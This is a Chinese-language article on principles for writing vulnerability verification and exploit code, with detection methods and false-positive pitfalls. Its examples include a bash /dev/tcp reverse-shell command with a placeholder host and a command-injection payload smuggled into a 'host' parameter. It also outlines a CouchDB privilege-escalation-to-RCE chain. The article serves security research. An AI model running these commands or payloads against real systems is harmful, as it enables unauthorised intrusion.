漏洞驗證準則
已有人總結過 《漏洞檢測的那些事兒》:
文章里很好的提出編寫漏洞驗證代碼時需要注意的 三個準則 ,簡單總結和補充如下:
1. 隨機性
保證關鍵變量、數據和無明顯含義要求的值應該具有隨機性。
如: 上傳文件的文件名,webshell 密碼,print 的值,探測 404 頁面使用的路徑等。
2. 確定性
通過返回的內容找到唯一確定的標識來說明該漏洞是否存在。
驗證漏洞盡可能達到與漏洞利用時同樣的水準,勿使用單一模糊的條件去判斷,如HTTP狀態碼、固定頁面內容等來判定漏洞是否存在。
比如驗證文件上傳漏洞,最好上傳真實的文件進行判斷;驗證通過不常見的API接口未授權添加管理員,僅是通過判斷不常見的API接口是否存在來判定漏洞是否存在是不夠的,最好是要實際去添加一個管理員用戶,最后按照添加成功與否來判定這個漏洞是否存在。
3. 通用性
兼顧各個環境或平臺,兼顧存在漏洞應用的多個常見版本。
勿只考慮漏洞復現的單一環境,要考慮到存在漏洞的應用的不同版本、安裝應用的不同操作系統、API接口、參數名、路徑前綴、執行命令等的不同情況。
4. 無損性
有效驗證漏洞的前提下盡可能避免對目標造成損害。
驗證漏洞時,在有效驗證漏洞的前提下,盡量不改寫、添加、刪除數據,不上傳、刪除文件。可以的話,驗證漏洞完畢后應恢復數據和驗證漏洞前的數據一致。
漏洞驗證方法
如果根據實際可操作性,對主流的漏洞驗證方法定義,梳理和總結如下:
一. 直接判斷
即可直接通過目標的不同響應和狀態來判斷目標是否存在漏洞,主要包括下面四種方法:
1. 結果回顯判斷
最直接的漏洞存在的判定方法,受我們的輸入控制影響,目標響應中完整輸出了我們期望的結果。
2. 報錯回顯判斷
使目標處理我們輸入的數據時內部錯誤,并在錯誤的輸出中攜帶了受我們期望的結果。
3. 寫數據讀取判斷
將結果或標志寫入目標文件或數據庫等類似數據存儲系統,并嘗試讀取存儲的內容來判斷目標是否存在漏的方法。
4. 延時判斷
通過控制在目標機器上執行的代碼,讓目標機器等待N秒后再響應我們的請求。
在延時SQL注入、執行命令 sleep、執行代碼 sleep等漏洞判定應用場景里常有不可替代的重要作用。
二. 間接判斷
通過控制目標向第三方發送信息,通過第三方是否接收到信息來判定目標是否存在漏洞,主要包括下面幾種方法:
1.DNSLOG 方式判斷
當目標可解析域名并且允許請求外網 DNS 服務器時使用,因為有部分機器默認允許請求外網 DNS 服務器而且防火墻也不會輕易攔截,所以此方法已被廣泛使用。JAVA 反序列化中的 URLDNS payload 就是屬于此判斷方法。
2.WEBLOG 方式判斷
在目標可以對外發送 TCP 請求時,使用 Web 服務器接收目標發送而來的請求,以此來判斷我們可以控制目標發送請求到特定第三方 Web 服務器,目標存在漏洞。
雖然靈活運用各種漏洞驗證方法可以有效的驗證漏洞是否存在,但是對于僅使用單一方法來驗證漏洞是否存在時,我傾向于下面的方法優先級:
結果回顯判斷 > 報錯回顯判斷 > 寫文件讀取判斷 > 延時判斷 > DNSLOG 方式判斷 > WEBLOG 方式判斷
漏洞利用準則
之所以把漏洞利用和漏洞驗證分開來敘述,是因為在我看來漏洞利用才是安全研究人員需要額外注意的部分,也是最能體現安全研究水平和代碼編寫水準的方面。
不少安全研究人員可能僅出于研究目的,或因為怕研究成果被惡意利用,再加上編寫 漏洞驗證 代碼通常比真實的 漏洞利用 代碼更為簡單,所以通常僅是給出一個十分簡單的漏洞驗證步驟或 demo 代碼。漏洞之所以被重視,根本原因是某些漏洞被利用后能對目標造成很大的損害,這不是一個 CVE 編號或者高中低危評價就能夠衡量的,而是由真實的漏洞利用代碼來評判的。
結合自己的漏洞利用代碼編寫經驗,遵守的準則主要有以下幾個部分:
1.結果回顯優先
優先將漏洞成功利用獲得的信息顯示出來。
比如對于一個命令執行漏洞,漏洞利用代碼應該朝著直接獲得執行的命令的輸出結果去努力,而不是一開始就去嘗試做反彈 shell、寫文件讀取達到回顯效果這種事。
具體說,我曾經編寫過一份結合 CVE-2017-12635和CVE-2017-12636 兩個漏洞的代碼。CouchDB先垂直越權添加管理員用戶,然后利用添加的管理員用戶通過Authorization頭認證,創建新數據庫,將執行命令的結果存儲到該數據庫,最后從該數據庫中讀取執行命令的結果,再刪除該數據庫,從而達到執行命令結果回顯的目的。
直接顯示漏洞執行成功獲得的結果擁有較高的錯誤兼容性,不會因為目標不能直接連接互聯網、不解析域名、無權限寫文件、文件路徑可能不唯一等等原因導致的一些判斷漏洞存在卻利用不成功的情況。
2.穩定利用優先
要綜合考慮到應用版本、操作系統環境、網絡等原因,寫出兼容各種應用版本并可以穩定復現的漏洞利用代碼。
穩定利用里有兩個問題需要額外注意:
一是編寫的代碼是否考慮到了存在漏洞的應用的不同版本之間的差異。比如 API 接口變化、路徑變化等,可能會導致相當一部分的漏洞利用不成功;
二是執行代碼優于執行命令。比如現在常見的一個示例的就是利用代碼執行漏洞進行反彈 shell 的利用,演示用的多是利用執行類似 /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1 的命令來反彈 shell。
這里面有個降級利用的概念,即代碼執行 卻常被當做 命令執行 來使用,但是 代碼執行 一般比命令執行可操作性更大,更穩定。
當只利用漏洞進行執行命令時,這當然沒有什么問題,但是當用執行命令來反彈 shell 時,就會出現比較大的問題。比如,只適合 linux 類系統,而且有些 Docker、busybox 之類的精簡環境可能沒有 /bin/bash,或者不支持命令行下的反彈 shell,這些都會讓漏洞利用不成功。
這種情況下的正確做法應該是優先執行一段代碼,而不是降級之后的執行命令來完成復雜的操作。
3.最簡利用優先
在能達到相同利用效果的情況下,選擇最簡單的實現路徑。
比如最近的寫的一個 flink-unauth-rce:
https://github.com/LandGrey/flink-unauth-rce
漏洞利用,最優雅的方式是根據 flink api 來實現執行命令回顯這個功能,但是勢必要花點時間去學習和構造代碼,不如直接利用程序報錯回顯,在報錯結果中提取出執行命令的結果,省時省力效果良好。
需避免的錯誤
1. 檢測條件不充足
比如,通過 GET 請求路徑
/hard-to-guest-path/there/is/vulnerable
然后判斷漏洞存在的核心邏輯是狀態碼 200,并且響應中存在 admin 關鍵詞。
雖然請求路徑比較特殊,但是考慮到有些網站總是返回 200 狀態碼,并且admin作為關鍵詞過于普通,所以容易產生誤報。
2. 檢測關鍵詞放置在發包內容中
比如檢測一個可以回顯的 GET 型命令執行漏洞,構造了如下的 payload;
/api/ping?host=127.1|echo+79c363c6044c4c58
然后判斷漏洞存在的核心邏輯是關鍵詞 79c363c6044c4c58 出現在返回狀態碼是200的目標 response中。
這類將判斷漏洞存在的關鍵詞放置在 GET 請求的 URL 中,有些網站在請求不存在的路徑時,也會返回 200 狀態碼,而且會將請求的 URL 全部返回到 response 中,這樣就產生了誤報。
當然,不止GET請求,POST等請求類型的漏洞驗證也會存在此類問題。比如POST發包:
POST: /api/ping
DATA: host=127.1|echo+79c363c6044c4c58
有些網站在接收到不能處理的請求時,會將 POST 的所有數據包括 HTTP Header 等回顯到頁面,這時候判斷關鍵詞就會產生誤報。
總結
規則是死的,人是活的。為了編寫出符合要求的代碼,在指定的要求、特殊情況下可以犧牲一些方面的準則特性來強化其他方面的準則特性。
比如,某些情況下付出 30% 的精力就可以編寫出覆蓋 90% 應用環境的代碼,如果鉆牛角尖,要付出 100% 的精力,編寫出適合 99% 應用環境的代碼,是無法享受漏洞研究到漏洞利用這整個過程的。
作為一名有追求的安全研究人員,不應該淺嘗輒止于普通漏洞驗證代碼的編寫,良好的漏洞利用代碼的編寫才能顯示出漏洞的真正危害,體會到漏洞利用代碼編寫的精髓。